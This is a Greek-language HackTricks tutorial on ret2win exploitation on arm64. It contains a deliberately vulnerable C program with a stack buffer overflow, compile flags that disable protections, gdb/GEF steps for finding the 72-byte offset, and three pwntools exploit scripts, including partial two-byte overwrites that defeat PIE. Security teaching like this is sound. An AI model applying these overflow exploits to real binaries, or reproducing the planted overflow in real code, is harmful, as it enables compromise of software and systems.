170 lines
5.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ret2win - arm64
{{#include ../../../banners/hacktricks-training.md}}
Βρείτε μια εισαγωγή στο arm64 στο:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Συγκέντρωση χωρίς pie και canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Εύρεση της απόκλισης
### Επιλογή προτύπου
Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef):
Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**Η απόσταση είναι 72 (9x48).**
### Επιλογή απόστασης στοίβας
Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Τότε: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## Χωρίς PIE
### Κανονικό
Αποκτήστε τη διεύθυνση της **`win`** συνάρτησης:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Εκμετάλλευση:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι μια πραγματική off-by-**one** σε μια φανταστική ευπάθεια.
## Με PIE
> [!TIP]
> Συγκεντρώστε το δυαδικό **χωρίς το επιχείρημα `-no-pie`**
### Off-by-2
Χωρίς μια διαρροή δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης, αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε την απόσταση στη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
{{#include ../../../banners/hacktricks-training.md}}